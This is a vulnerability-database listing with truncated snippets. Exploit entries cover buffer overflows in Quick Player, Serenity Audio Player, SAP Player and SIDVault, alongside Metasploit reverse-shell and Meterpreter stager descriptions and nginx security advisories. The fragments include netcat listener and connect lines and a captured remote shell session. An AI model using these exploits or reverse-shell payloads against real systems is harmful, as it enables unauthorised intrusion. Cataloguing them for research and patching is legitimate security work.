Quick Player 1.2 - Unicode Buffer Overflow (1)

!/usr/bin/python Vulnerability : Quick Player v1.2 unicode buffer overflow exploit coded by : mrme reference : http://www.exploit-db.com/exploits/10759 corelanc0d3r Tested on : XP SP3 En VirtualBox Greetz to : Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT mrme@backtrack:$ nc -lvp...

[SECURITY] Fedora 11 Update: nginx-0.7.64-1.fc11

Nginx engine x is an HTTPS server, HTTPS reverse proxy and IMAP/POP3 proxy server written by Igor Sysoev...

[SECURITY] Fedora 10 Update: nginx-0.7.64-1.fc10

Nginx engine x is an HTTPS server, HTTPS reverse proxy and IMAP/POP3 proxy server written by Igor Sysoev...

[SECURITY] Fedora 12 Update: nginx-0.7.64-1.fc12

Nginx engine x is an HTTPS server, HTTPS reverse proxy and IMAP/POP3 proxy server written by Igor Sysoev...

Mercur Messaging 2005 IMAP Login Buffer Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Mercur...

Serenity Audio Player Playlist - '.m3u' Local Buffer Overflow

!/usr/bin/python Exploit Title : Serenity Audio Player Playlist .m3u BOF Discovered by : Rick from Corelan Team ricks2600atgmaildotcom Author : mrme Author contact : seeleymagicathotmaildotcom Date : nov 24th, 2009 Type : local and remote code execution OS : Windows XP sp3 Product : Serenity Audi...

Java JSP Command Shell, Reverse TCP Inline

Connect back to attacker and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 1501 include Msf::Payload::Single include Msf::Payload::JSP include...

Windows Command Shell, Reverse All-Port TCP Stager

Spawn a piped command shell staged. Try to connect back to the attacker, on all possible ports 1-65535, slowly This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 282 include...

VNC Server (Reflective Injection), Reverse All-Port TCP Stager

Inject a VNC Dll via a reflective loader staged. Try to connect back to the attacker, on all possible ports 1-65535, slowly This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 282...

Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager

Inject the Meterpreter server DLL via the Reflective Dll Injection payload staged. Requires Windows XP SP2 or newer. Try to connect back to the attacker, on all possible ports 1-65535, slowly This module requires Metasploit: https://metasploit.com/download Current source:...

Reflective DLL Injection, Reverse All-Port TCP Stager

Inject a DLL via a reflective loader. Try to connect back to the attacker, on all possible ports 1-65535, slowly This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 282 include...

Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager

Inject the meterpreter server DLL staged. Try to connect back to the attacker, on all possible ports 1-65535, slowly This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 282 include...

Windows Upload/Execute, Reverse All-Port TCP Stager

Uploads an executable and runs it staged. Try to connect back to the attacker, on all possible ports 1-65535, slowly This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 282 include...

Windows Inject DLL, Reverse All-Port TCP Stager

Inject a custom DLL into the exploited process. Try to connect back to the attacker, on all possible ports 1-65535, slowly This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 282 inclu...

SAP Player 0.9 Buffer Overflow

!/usr/bin/python SAP player 0.9 .pla Universal Local BoF Exploit SEH Download: http://www.sorinara.com/sap/sap09.exe Credits go to: PLATEN Coded by: Steven Seeley aka mrme Tested on Windows XP SP3 Its not dead till its buried ; windows/shell/reversetcp - 617 bytes stage 1 http://www.metasploit.co...

[SECURITY] Fedora 10 Update: nginx-0.7.62-1.fc10

Nginx engine x is an HTTPS server, HTTPS reverse proxy and IMAP/POP3 proxy server written by Igor Sysoev...

[SECURITY] Fedora 11 Update: nginx-0.7.62-1.fc11

Nginx engine x is an HTTPS server, HTTPS reverse proxy and IMAP/POP3 proxy server written by Igor Sysoev...

[SECURITY] [DSA 1884-1] New nginx packages fix arbitrary code execution

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA-1884-1 [email protected] http://www.debian.org/security/ Nico Golde September 14th, 2009 http://www.debian.org/security/faq -...

DSA-1884-1 nginx - arbitrary code execution

Bulletin has no description...

SIDVault 2.0e - Windows Remote Buffer Overflow

!/usr/bin/python $ ./sidvault.py 192.168.1.131 SIDVault 2.0e Windows Remote Buffer Overflow Written by blake Tested on Windows XP SP3 + Sending payload + Check port 4444 for shell $ nc 192.168.1.131 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system...